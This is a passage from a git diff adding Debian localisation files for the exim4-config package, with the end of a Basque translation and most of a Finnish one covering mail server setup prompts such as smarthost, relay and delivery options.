+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Kanporako mezuetan posta izen lokala ezkutatzeko aukera gaitua zegoen. Honek "
+"beranduago makina honek erabiltzaile lokalen bidaltzaile eremuan erabili "
+"behar den domeinu izen zatia ezartze beharrezko egiten du"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Irteera smarthost-eko IP helbide edo ostalari izena:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Idatzi sistema honek kanporako smarthost moduan erabiliko den posta "
+"zerbitzariaren IP helbide edo ostalari izena. Smarthost-ak konexioak "
+"bakarrik lehenetsiriko TCP/25 ataka ez den beste batetan onartzen baditu "
+"gehitu bi puntu bikoitza eta ataka zenbakia (Adibidez ::587 edo "
+"192.168.254.254::2525). Bi puntuak IPv6 helbideetan bikoitzu egin behar dira,"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Smarthost-ak autentifikazioa behar ezkero, mesedez begiratu /usr/share/doc/"
+"exim4-base/README.Debian.html SMTP autentifikazioa ezartzeko moduaz gehiago "
+"jakiteko."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Root eta postmaster eposta jasoko duena:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"\"postmaster\", \"root\", eta beste zenbait kontu lokalen eposta sistema "
+"kudeatzailearen erabiltzaile kontura bidali behar da."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Balio hau hutsik utziaz gero, berau gomendatzen ez den /var/mail/mail "
+"karpetan gordeko da:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Kontutan izan postmaster kontuaren eposta zuzendua dagoen sisteman irakurri "
+"beharko zela, inora berbideratu beharrean, beraz (behintzat hauetako bat) "
+"hemen zerrendaturiko erabiltzaileetako posta ez zen makina honetatik kanpora "
+"bidali beharko. \"real-\" aurrizkia erabili daiteke bidalketa lokala "
+"behartzeko"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Erabiltzaile izenak hutsunez bereizi behar dira."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "SMTP konexioak entzungo dituen IP helbideak:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Mesedez sartu puntu eta komaz bereiziriko IP helbide zerrenda. Exim SMTP "
+"deabruak IP helbide hauetan entzungo ditu konexioak."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Hutsik utzi ezkero Exim-ek erabilgarri dauden sare interfaze guztietan "
+"entzungo ditu konexioak."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Sistema honek mezuak sistema lokaletik bakarrik jasotzen baditu, fetchmail "
+"edo zure eposta programak (MUA) localhost-ekin harremanetan (eta ez beste "
+"inondik) bezalakoak, gomendagarria da exim lokalarekiko kanpo konexioak "
+"debekatzea. Hau hemen 127.0.0.1 ezarriz lortzen da. Honek interfaze "
+"publikoetan konexioak entzuteko gaitasuna ezgaituko du."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Mantendu DNS galdeketak gutxienean (Eskaripeko deia)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Funtzionamentu modu arruntean DNS bilaketa bat egiten du abiaraztean, eta "
+"mezuak jaso edo banatzerakoan. Hau erregistrorako bakarrik egiten da eta "
+"konfigruazioan kode balioak murrizteko balio du."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Sistema honek ez badu denbora guztian DNS ebazpen zerbitzua (Adibidez "
+"internetera telefono bitartez eskaripeko deia erabiliaz) honek esperogabeko "
+"eraginak izan ditzake. Adibidez Exim abiarazi edo hilara kudeatu ezkero "
+"(nahiz ez mezurik eogn bertan) dei bat egitea eragin dezake."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Aukera hau hautatu behar da sistema honek eskuzko markatzea erabiltzen badu. "
+"Beti internetera konektaturik badago aukera hau ezgaitu beharko zenuke."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Eposta Zerbitzari konfigurazioa"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Zatitu konfigurazioa fitxategi txikiagoetan?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian exim4 paketeak \"banatu gabeko konfigurazioa\", fitxategi monolitiko "
+"bat (/etc/exim4/exim4.conf.template) edo \"banatutako konfigurazioa\", non "
+"konfigurazioa /etc/exim4/conf.d/-en 50 fitxategi txikiagotan banatuta "
+"dagoena erabil ditzake."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Banatu gabeko konfigurazio hobea da aldaketa handientzat eta normalean "
+"egonkorragoa da, beste aldetik banatutako konfigurazioa aldaketa txikiak "
+"egiteko modu egoki eta errazago bat ematen du baina hauskorragoa da eta "
+"hondatu daiteke kontu handiaz eraldatu ez ezkero."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Konfigruazio zatitu eta batzeari buruzko argibide gehiago jasotzeko "
+"begiratu /usr/share/doc/exim4-base/README.Debian.gz fitxategia."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "ePosta lokal izena ezkutatu kanpora bidaltzerakoan?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Bidaltzen diren mezuen buruak alda daitezke beste sistema batetan sortuak "
+"izan direla itxura emateko. Aukera hau hautatu ezkero, \"${mailname}\", "
+"\"localhost\" eta \"${dc_other_hostnames}\" Nondik, Erantzun-hona, "
+"Bidaltzailea eta Erantzun-bidea eremuetan berridatzi egingo dira."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox formatua /var/mail/-en"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir formatua etxe direktorioan"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Posta lokalaren banaketa metodoa:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim jasotako posta formatu ezberdinetangordetzeko gai da. Formatu "
+"erabilienak mbox eta Maildir dira. mbox-ek /var/mail/-en fitxategi arrunt "
+"bat erabiltzen du posta guztia gordetzeko. Maildir formatuak mezu bakoitza ~/"
+"Maildir/ direktorioko fitxategi batetan gordetzen du."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Kontutan izan Debian lanabes gehienek lehenetsiriko bidalketa modu bezala "
+"mbox ezarria izango dutela."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "Bidaligabeko ePostak exim3 hilaratik exim4 hilarara mugitu?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Bidaligabeko zenbait posta daude /var/spool/exim/input/ exim3 (edo xim-"
+#~ "tls3) hilara direktorioan."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Aukera hau hautatuaz mezu horiek exim4 hilarara mugituko dira (/var/"
+#~ "spool/exim4/input/) eta exim4 bidez kudeatuko dira."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Honek alde batetara bakarrik funtzionatzen du. Exim4-ek exim 3 ilara "
+#~ "kudea dezake baina ez alderantziz. Aukera hau ezetsiaz gero mezuak "
+#~ "beranduago eskuz mugitu beharko dituzu, bestela ez dira inoiz banatuko "
+#~ "eta."
diff --git a/debian/po/fi.po b/debian/po/fi.po
new file mode 100644
index 0000000..d4b35bc
--- /dev/null
+++ b/debian/po/fi.po
@@ -0,0 +1,939 @@
+# translation of fi.po to Finnish
+# translation of exim4-config to Finnish
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-transDevelopers do not need to manually edit POT or PO files.
+# Tapio Lehtonen <tale@debian.org>, 2004, 2006.
+#
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4-config\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-07-03 14:06-0000\n"
+"Last-Translator: Esko Arajärvi <edu@iki.fi>\n"
+"Language-Team: Finnish <debian-l10n-finnish@lists.debian.org>\n"
+"Language: fi\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Poistetaanko jonosta viestit, joita ei ole toimitettu perille?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Exim-ohjelman viestijonossa hakemistossa /var/spool/exim4/input on viestejä, "
+"joita ei ole vielä toimitettu perille. Kun Exim poistetaan, niitä ei "
+"toimiteta perille ennen kuin Exim asennetaan uudelleen."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Jos tätä ei valita, viestijono säilytetään. Tällöin jonon viestit voidaan "
+"toimittaa perille myöhemmin kun Exim on asennettu uudelleen."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Tee tämän paketin sijaan paketin exim4-config asetukset"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4:n asetukset ovat erillisessä asetuspaketissa exim4-config. Exim4:n "
+"asetukset voidaan tehdä uudelleen komennolla â€dpkg-reconfigure exim4-configâ€."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "Internetiin kytketty kone; lähetys ja vastaanotto suoraan SMTP:llä"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "lähetys smarthostin kautta; vastaanotto SMTP:llä tai fetchmaililla"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "lähetys smarthostin kautta; ei paikallista sähköpostia"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "vain paikallinen sähköpostien toimitus; ei verkkoyhteyttä"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "asetuksia ei tehdä nyt"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Sähköpostiasetusten perustyyppi:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Valitse sähköpostipalvelimen asetustyypeistä parhaiten tarpeisiin sopiva."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Vaihtuvia IP-osoitteita käyttävät koneet, mukaanlukien soittoyhteyttä "
+"käyttävät, tulisi asettaa lähettämään sähköpostinsa toisen koneen "
+"(â€smarthostâ€) kautta, koska monet Internetin järjestelmät eivät roskapostin "
+"torjumiseksi ota vastaan postia, joka tulee vaihtuvista IP-osoitteista."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Vaihtuvia IP-osoitteita käyttävä järjestelmä voi joko vastaanottaa oman "
+"sähköpostinsa tai paikallinen sähköpostin toimitus voidaan ottaa kokonaan "
+"pois käytöstä (paitsi tunnuksien root ja postmaster osalta)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Jätetäänkö sähköpostijärjestelmän asetukset todella tekemättä?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Sähköpostijärjestelmä ei ole käytettävissä ennen kuin sen asetukset on "
+"tehty. Asetukset voidaan tehdä myöhemmin joko käsin tai antamalla "
+"pääkäyttäjänä komento â€dpkg-reconfigure exim4-configâ€."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Järjestelmän postinimi:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"Postinimi on verkkoaluenimi, joka lisätään postiosoitteisiin, jos "
+"verkkoaluenimi puuttuu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Tätä nimeä käyttävät myös muut ohjelmat. Sen tulisi olla yksi, täydellinen "
+"verkkoaluenimi (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Jos tässä järjestelmässä on esimerkiksi sähköpostiosoite foo@example.org, on "
+"tämän asetuksen oikea arvo example.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Tämä nimi ei näy lähtevien sähköpostien From:-riveillä, jos osoitteiden "
+"uudelleenkirjoitus on käytössä."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Muut vastaanottajat, joiden posti hyväksytään:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Anna puolipistein eroteltuna verkkoalueet, joiden lopullisena "
+"vastaanottajana tämä kone toimii. Näitä verkkoalueita kutsutaan "
+"â€paikallisiksi verkkoalueiksiâ€. Paikallinen konenimi (${fqdn}) ja "
+"â€localhost†lisätään aina tässä annettuun listaan."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Kaikkia paikallisia verkkoalueita käsitellään oletusarvoisesti samalla "
+"tavalla. Jos sekä a.example että b.example ovat paikallisia verkkoalueita, "
+"osoitteet tunnus@a.example ja tunnus@b.example toimitetaan samalle "
+"vastaanottajalle. Jos eri verkkoaluenimiä halutaan käsitellä eri tavoilla, "
+"on asetustiedostoja muokattava jälkeenpäin."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Verkkoalueet, joiden posti välitetään:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Anna puolipistein eroteltuna verkkoalueet, joille tämä kone välittää "
+"sähköpostia, esimerkiksi vara-MX:nä tai sähköpostiyhdyskäytävänä. Tämä kone "
+"vastaanottaa näille verkkoalueille lähetettyä sähköpostia kaikkialta "
+"Internetistä ja toimittaa ne perille paikallisten sääntöjen mukaisesti."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Älä kirjoita tähän paikallisia verkkoalueita. Korvausmerkkejä voidaan "
+"käyttää."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Koneet, joille välitetään postia:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Anna puolipistein eroteltuina IP-osoitealueet, joille tämä kone välittää "
+"sähköpostia ilman ehtoja, toimien smarthostina."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Käytä standardia muotoa osoite/peite (esim. 194.222.242.0/24 tai "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Jos tämä järjestelmä ei toimi smarthostina millekään muulle koneelle, jätä "
+"kenttä tyhjäksi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Paikallisten käyttäjien näkyvä verkkoaluenimi:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Paikallinen sähköpostinimi on valittu piilotettavaksi lähtevässä postissa. "
+"Tästä syystä on tarpeen määrittää verkoaluenimi, jota paikallisten "
+"käyttäjien lähettämissä viesteissä käytetään verkkoaluenimenä."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Lähtevän postin smarthostin IP-osoite tai konenimi:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Anna lähtevän postin smarthostina käytettävän koneen IP-osoite tai konenimi. "
+"Jos smarthost hyväksyy tämän koneen sähköpostin vain muuhun porttiin kuin "
+"TCP/25, lisää osoitteen loppuun kaksi kaksoispistettä ja portin numero "
+"(esimerkiksi smarthost.example::587 tai 192.168.254.254::2525). IPv6-"
+"osoitteissa kaksoispisteet on kahdennettava."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Jos smarthost vaatii tunnistautumisen, katso hakemistossa /usr/share/doc/"
+"exim4-base olevista Debiania koskevista README-tiedostoista ohjeita SMTP-"
+"tunnistautumisen asettamiseen."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Pääkäyttäjän ja postmasterin sähköpostin vastaanottaja:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Järjestelmätunnuksille â€postmasterâ€, â€root†jne. tuleva sähköposti on "
+"lähetettävä edelleen järjestelmän ylläpitäjän varsinaiselle "
+"käyttäjätunnukselle."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Jos tämä arvo jätetään tyhjäksi, nämä viestit tallennetaan tiedostoon /var/"
+"mail/mail, mikä ei ole suositeltavaa."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Huomaa että tunnuksen â€postmaster†sähköposti tulisi yleensä lukea siinä "
+"järjestelmässä, johon se on lähetetty, eikä välittää sitä muualle. Näin "
+"ollen valitsemiesi käyttäjien (tai ainakin yhden heistä) ei pitäisi ohjata "
+"postiaan tämän koneen ulkopuolelle. Osoitteen etuliitteellä â€real-†voidaan "
+"pakottaa postin toimitus paikallisesti."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Käyttäjätunnukset tulee kirjoittaa välilyönnein eroteltuina."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-osoitteet, joista kuunnellaan sisääntulevia SMTP-yhteyksiä:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Anna IP-osoitteet puolipistein eroteltuina. Eximin SMTP:tä kuunteleva "
+"taustaprosessi kuuntelee kaikkia annettuja IP-osoitteita."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Jos tämä jätetään tyhjäksi, Exim kuuntelee yhteyksiä kaikista käytössä "
+"olevista verkkoliitännöistä."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Jos tämä kone ei ota vastaan sähköpostia muilta koneilta, vaan ainoastaan "
+"paikallisilta palveluilta, esimerkiksi localhostille puhuvilta "
+"sähköpostiohjelmilta (MUA) tai fetchmaililta, on suositeltavaa kieltää "
+"ulkoiset yhteydet paikalliseen Exim-taustaohjelmaan. Jos tähän syötetään "
+"127.0.0.1, ulkoisia yhteksiä ei voida ottaa, koska asetus poistaa käytöstä "
+"julkisten verkkoliitäntöjen kuuntelun."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr ""
+"Tehdäänkö mahdollisimman vähän DNS-kyselyitä (tarvittaessa avattava "
+"soittoyhteys)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Tavallisessa toimintatilassa Exim tekee DNS-kyselyitä käynnistyessään sekä "
+"vastaanottaessaan tai toimittaessaan viestejä. Tietoja käytetään lokin "
+"kirjoittamiseen. Näin toimimalla asetustiedostoihin tarvitsee määrittää "
+"vähemmän arvoja."
+
+#. Type: boolean
+#. Description
